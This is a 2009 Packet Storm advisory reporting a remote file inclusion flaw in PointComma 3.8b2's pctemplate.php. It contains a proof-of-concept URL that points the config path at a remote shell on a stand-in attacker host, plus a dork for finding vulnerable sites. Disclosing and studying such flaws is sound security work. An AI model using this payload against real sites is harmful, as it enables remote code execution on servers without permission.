PointComma 3.8b2 Remote File Inclusion

2009-11-23T00:00:00
ID PACKETSTORM:82865
Type packetstorm
Reporter cr4wl3r
Modified 2009-11-23T00:00:00

Description

                                        
                                            ` [ Discovered by cr4wl3r \ cr4wl3r[4t]linuxmail[dot]org ]  
  
########################################################################  
#PointComma <= 3.8b2 Remote File Include Vulnerability  
#Download Script : http://nchc.dl.sourceforge.net/project/pointcomma/pointcomma/  
#Dork : die("Hacking attempt"); :D  
########################################################################  
#  
#Vuln : ./PointComma-3.8b2/includes/classes/pctemplate.php (line 14)  
# <?php  
# require($pcConfig['smartyPath'].'Smarty.class.php');   
# ?>  
#PoC : http://0wn3d.com/[path]/includes/classes/pctemplate.php?pcConfig[smartyPath]=http://attacker.com/shell.txt?cmd  
#  
#  
#  
########################################################################  
#Thx 2 : str0ke, opt!x hacker, xoron, irvian, cyberlog, basix,  
# dan seluruh orang yang membenciku dan menyayangiku [I Love U Full] :*  
########################################################################  
  
/##############################################\  
# all member at sekuritionline.net #  
# all member at manadocoding.net #  
\##############################################/  
  
[ Gorontalo / 2009 ]   
  
`